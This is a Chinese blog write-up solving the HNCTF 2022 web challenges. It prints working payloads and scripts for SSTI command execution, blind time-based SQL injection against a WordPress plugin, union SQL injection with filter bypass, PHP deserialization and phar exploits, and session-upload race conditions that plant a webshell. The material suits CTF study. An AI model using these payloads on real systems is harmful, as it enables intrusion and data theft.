• 【Web】HNCTF 2022 题解(全)

    目录

    Week1

    Interesting_include

    2048 

    easy_html 

    What is Web 

    Interesting_http 

    easy_upload 

    Week2

    ez_SSTI

    easy_include 

    ez_ssrf 

    Canyource 

    easy_unser

    easy_sql 

    ohmywordpress 

    Week3

    ssssti

    Fun_php 

    ez_phar

    QAQ_1inclu4e

    logjjjjlogjjjj

    Week4

    pop子和pipi美

    fun_sql 

    unf1ni3hed_web3he1 

    Week1

    Interesting_include

    ?filter=php://filter/convert.base64-encode/resource=flag.php

     base64解码拿到flag

    2048 

    看js文件，搜索关键词alert

    复制在控制台输出直接弹窗

    easy_html 

    提示访问./f14g.php 

    访问

    改max-length

    然后随便输入一串手机号直接拿到flag

    What is Web 

    一眼顶针，藏flag鉴定为烂

     

    Interesting_http 

    按要求传参就可

    easy_upload 

    随便上传个马

    写入，命令执行拿flag

    Week2

    ez_SSTI

    测出ssti注入点传参是?name=

    payload

    ?name={{config.__init__.__globals__[%27__builtins__%27][%27eval%27]("__import__(%27os%27).popen(%27cat%20f*%27).read()")}}

    easy_include 

     直接打日志包含写一句话木马

    ez_ssrf 

    先访问/index.php

    直接访问/flag.php 

     

     就是ssrf往flag.php发请求

    1. GET /flag.php HTTP/1.1
    2. Host: 127.0.0.1
    3. Connection: Close
    4.

     base64编码得

    R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

     最终payload:

    ?host=127.0.0.1&port=80&data=R0VUIC9mbGFnLnBocCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBDbG9zZQ0KDQo=

    Canyource 

    payload:

    ?code=eval(end(current(get_defined_vars())));&Z3r4y=system('tac flag.php');

     右键查看源码拿到flag

    easy_unser

    一眼顶针，鉴定为烂

    就是一个wakeup的绕过，然后读文件用伪协议

    注意高版本php不能直接把private改public

    exp:

    2. class body{
    3.  
    4.     private $want="php://filter/convert.base64-encode/resource=f14g.php";
    5.     private $todonothing="0x401";
    6. }
    7.  
    8. $a=new body();
    9. echo urlencode(preg_replace("/:2:{/",":3:{",serialize($a)));

     

    base64解码拿到flag 

    easy_sql 

    简单fuzz一下，ban了这么些，一眼顶针，无列名注入

    因为注释被ban了，所以考虑闭合的方式来注入

    SQL注入绕过入门总结篇 - FreeBuf网络安全行业门户

    1. 0'/**/union/**/select/**/1,2,database()/**/where/**/'1
    2. Here is your want!
    3. ctf
    4.  
    5. 0'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
    6. Here is your want!
    7. ctf,ctftraining,ctftraining,ctftraining,mysql 
    8.  
    9. 0'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1
    10. Here is your want!
    11. ccctttfff,flag,news,users,gtid_slave_pos 
    12.  
    13. 0'/**/union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/||'1
    14. Here is your want!
    15. 1,NSSCTF{cc299b0b-fd6d-4e3a-b5e4-040d8c9d7dde}

    ohmywordpress 

    一直点进去就行 

    右键查看源码，得知WordPress版本为6.0.2 

    Simple Link Directory < 7.7.2 – Unauthenticated SQL injection | CVE 2022-0760 | Plugin Vulnerabilities

    1. import requests
    2. import time
    3.  
    4.  
    5. url = "http://node5.anna.nssctf.cn:20313/wp-admin/admin-ajax.php"
    6.  
    7. result = ""
    8. for i in range(1, 100):
    9.     length = len(result)
    10.     for o in range(32, 128):
    11.  
    12.         data = {
    13.             "action": "qcopd_upvote_action",
    14.             # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))={o},sleep(3),0))enz)",
    15.             # "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=substr((select group_concat(schema_name) from information_schema.schemata),26,11)),{i},1))={o},sleep(3),0))enz)",
    16.             "post_id": f"(SELECT 3 FROM (select if(ascii(substr((select group_concat(a) from (select 1 as a union select * from ctftraining.flag)b),{i},1))={o},sleep(3),0))enz)",
    17.         }
    18.  
    19.         time1 = time.time()
    20.  
    21.         res = requests.post(url, data=data)
    22.  
    23.         time2 = time.time()
    24.  
    25.  
    26.         if time2 - time1 > 3:
    27.             result += chr(o)
    28.             print(result)
    29.             break
    30.  
    31.     if len(result) == length:
    32.         break

    跑出来flag

    Week3

    ssssti

    拿fengjing梭

    或者也可以手打

    ?name={{lipsum[request.values.a][request.values.b][request.values.c](request.values.d).popen(request.values.e).read()}}&a=__globals__&b=__builtins__&c=__import__&d=os&e=cat /flag

     

    Fun_php 

    一眼顶针，鉴定为烂

    payload:

    1. ?user=114514a&mySaid=QNKCDZO&myHeart=240610708&hn=hn&%E2%80%AE%E2%81%A6LAG%E2%81%A9%E2%81%A6ctf=%E2%80%AE%E2%81%A6+Flag%21%E2%81%A9%E2%81%A6ctf
    2.  
    3.  
    4. data%5B%5D=Probiusa&verify%5B%5D=1&want=fl*

     右键查看源码拿到flag

    ez_phar

    访问/upload.php

    exp:

    2. class Flag{
    3.     public $code;
    4. }
    5. $o = new Flag();
    6. $o->code = 'eval($_GET["a"]);';
    7. @unlink("phar.phar");
    8. $phar = new Phar("phar.phar"); //后缀名必须为phar
    9. $phar->startBuffering();
    10. $phar->setStub(""); //设置stub
    11. $phar->setMetadata($o); //将自定义的meta-data存入manifest
    12. $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    13. //签名自动计算
    14. $phar->stopBuffering();
    15. ?>

     上传恶意phar文件

    然后再phar伪协议配合file_exists触发phar反序列化

    QAQ_1inclu4e

    文件包含的参数是QAQ

    过滤了php . log flag :，选择打临时session文件包含

    https://xz.aliyun.com/t/9545

    需要条件竞争的方式

    1. import requests
    2. import io
    3. import threading
    4.  
    5. url = "http://node5.anna.nssctf.cn:21880/"
    6. sessid = "Z3"
    7.  
    8. def write(session):
    9.     filebytes = io.BytesIO(b'aaaa' * 1024 * 50)
    10.     while True:
    11.         res = session.post(url,
    12.             data={
    13.                 'PHP_SESSION_UPLOAD_PROGRESS': ""
    14.                 },
    15.             cookies={
    16.                 'PHPSESSID': sessid
    17.                 },
    18.             files={
    19.                 'file': ('Z3.txt', filebytes)
    20.                 }
    21.             )
    22.  
    23. def read(session):
    24.     while True:
    25.         res = session.post(url+"?QAQ=/tmp/sess_"+sessid,
    26.                            data={
    27.                                "1":"file_put_contents('shell.php', '');"
    28.                            },
    29.                            cookies={
    30.                                "PHPSESSID":sessid
    31.                            }
    32.                            )
    33.         if 'Z3.txt' in res.text:
    34.             print("Success!")
    35.             print(res.text)
    36.             break
    37.         else:
    38.             print("Retry")
    39.  
    40.  
    41.  
    42. if __name__ == "__main__":
    43.     event = threading.Event()
    44.     with requests.session() as session:
    45.         for i in range(5):
    46.             threading.Thread(target=write, args=(session,)).start()
    47.         for i in range(5):
    48.             threading.Thread(target=read, args=(session,)).start()
    49.     event.set()

    回显success，成功写马

    连蚁剑，flag在/var目录下

     

     

    logjjjjlogjjjj

    擦，一眼顶针，这不是Vulfocus log4j2-rce靶机

    log4j打JNDI

    可以看看我的这篇文章，第二题就是原题

    【Web】log4j打JNDI专题刷题记录-CSDN博客

     

    Week4

    pop子和pipi美

     评价为烂

     

    ?pop_EP=ep683045 

     

    exp: 

    2. error_reporting(0);
    3. //flag is in f14g.php
    4. class Popuko {
    5.     private $No_893;
    6.     public function __construct(){
    7.         $this->No_893 = "php://filter/convert.base64-encode/resource=f14g.php";
    8.     }
    9. }
    10. class Pipimi{
    11.     public $pipi;
    12.     public function __construct(){
    13.         $this->p = new Popuko();
    14.     }
    15. }
    16. class Goodsisters{
    17.     public $kiminonawa,$str;
    18.     public function __construct(){
    19.         $this->str = new Pipimi();
    20.     }
    21. }
    22. $a = new Goodsisters();
    23. $a->kiminonawa = new Goodsisters();
    24. $ser = serialize($a);
    25. echo urlencode($ser);

     base64解码拿到flag

     

    fun_sql 

    payload:

    ?uname=1' union select 1,load_file(concat('/var/www/html/fla','g.php')),3; --+

     

    unf1ni3hed_web3he1 

    302跳转bp抓包拦截

    访问/Rea1web3he11.php

    访问/t00llll.php

    ?include_=php://filter/read=convert.base64-encode/resource=Rea1web3he11.php

     base64解码后读到Rea1web3he11.php源码

    1.  
    2. error_reporting(0);
    3. ini_set('session.serialize_handler', 'php');
    4. session_start();
    5. echo "y0u_m4ybe_n3ed_s0me_t00llll_t0_u4_1t!"."
      "      ;
    6.  
    7. class webshell{
    8.     public $caution;
    9.     public $execution;
    10.  
    11.     function __construct(){
    12.         $this -> caution = new caution();
    13.     }
    14.  
    15.     function __destruct(){
    16.         $this -> caution -> world_execute();
    17.     }
    18.     function exec(){
    19.         @eval($execution);
    20.     }
    21. }
    22. class caution{
    23.     function world_execute(){
    24.         echo "Webshell初&#%始*$%&^化,$))(&*(%#^**ERROR**#@$()"."
      "      ;
    25.     }
    26. }
    27. class execution{
    28.     public $cmd;
    29.     function __construct(){
    30.         $this -> cmd = 'echo "即将执行命令:".$cmd;';
    31.     }
    32.     function world_execute(){
    33.         eval($this -> cmd);
    34.     }
    35. }
    36. ?>

    一眼session反序列化 

    【文件包含&条件竞争】详解如何利用session.upload_progress文件包含进行RCE - 蚁景网安实验室

     exp:

    2. class webshell{
    3.     public $caution;
    4. }
    5.  
    6. class execution{
    7.     public $cmd;
    8. }
    9.  
    10. $b = new execution();
    11. $b->cmd = 'system("cat /secret/flag");';
    12.  
    13. $a = new webshell();
    14. $a->caution = $b;
    15.  
    16. echo '|'.serialize($a);
    1. import threading
    2. import requests
    3.  
    4. url = 'http://node5.anna.nssctf.cn:27540/Rea1web3he11.php'
    5. flag = 'xxx'
    6.  
    7. cmd = "system('cat /secret/flag');"
    8.  
    9. payload = r'|O:8:"webshell":1:{s:7:"caution";O:9:"execution":1:{s:3:"cmd";s:' + str(len(cmd)) + ':"' + cmd + '";}}'
    10.  
    11. def upload():
    12.     files = [
    13.         ('file', ('xx.txt', 'xxx'*10240)),
    14.     ]
    15.     data = {'PHP_SESSION_UPLOAD_PROGRESS': payload}
    16.  
    17.     while True:
    18.         res = requests.post(url, data=data, files=files, cookies={'PHPSESSID': flag})
    19.         print('upload',res.text)
    20.  
    21. def write():
    22.     while True:
    23.         res = requests.get(url, cookies={'PHPSESSID': flag})
    24.         print('write',res.text)
    25.  
    26. for i in range(10):
    27.     t1 = threading.Thread(target=upload)
    28.     t2 = threading.Thread(target=write)
    29.     t1.start()
    30.     t2.start()

    跑出flag 

  • 相关阅读:
    TensorFlow 介绍 及其简单应用 附实例
    数据结构笔记——树和图（王道408）（持续更新）
    考研政治---马克思主义基本原理概论---认识论
    计算机网络学习笔记（三）：数据链路层（待更新）
    前端常见的设计模式
    Python基础之综合练习一
    linux服务 宝塔控制面板，宝塔面板打不开，ssh可以链接，输入bt命令没有反应 linux 重启宝塔服务器命令
    想让 c++ 的 static 成员具有多态性
    化学制品制造业智慧供应商管理系统深度挖掘供应商管理领域，提升供应链协同
    使用selenium调用firefox提示Profile Missing的问题解决
  • 原文地址：https://blog.csdn.net/uuzeray/article/details/138013356